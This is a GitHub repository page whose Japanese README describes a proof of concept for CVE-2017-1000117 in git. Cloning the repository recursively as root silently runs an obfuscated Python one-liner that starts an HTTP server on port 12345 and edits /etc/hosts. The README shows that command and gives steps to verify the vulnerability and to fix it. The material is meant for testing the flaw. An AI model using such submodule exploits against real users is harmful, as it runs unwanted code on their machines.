Skip to content

Shadow5523/CVE-2017-1000117-test

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

29 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

動作説明

これはCVE-2017-1000117の脆弱性で動作するものです。 このレポジトリをroot権限でgitコマンドに--recurseオプションをつけてクローンをすると、 勝手に12345ポートでリッスンするhttpサーバが動きます。
httpサーバの動作を停止するにはプロセス番号を調べてkillしてください。

動作が確認されたOS

CentOS7
macOS Sierra
Debian8

実行コマンド

以下のコマンドを実行する。完了するとコンソールが止まってしまうのでCtrl + Cで抜けるようにする。

    [root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git

脆弱性の確認方法

1.PSコマンドを実行しPythonのコードが動いているかを確認する。

    [root@localhost ~]$ ps ax | grep http
    21365 pts/0    S      0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
    21381 pts/0    S+     0:00 grep --color=auto ht

2.netstatで12345ポートがリッスンされているか確認する。

    [root@localhost ~]$ netstat -tanp | grep 12345
    tcp        0      0 127.0.0.1:12345         0.0.0.0:*               LISTEN      21365/python

macOSの場合は以下のコマンドで確かめる。

    MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
    COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
    Python  14231 root    3u  IPv4 0xa3955f2183c66251      0t0  TCP 127.0.0.1:12345 (LISTEN)

3./etc/hostsの最下行に「127.0.0.1 ホスト名」が追加されているかを確認する。

対策

gitを最新バージョンへとアップデートする。以下のリンクを参照。
GitHubのリモートレポジトリから最新のGitへアップデートする方法

About

CVE-2017-1000117の検証

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages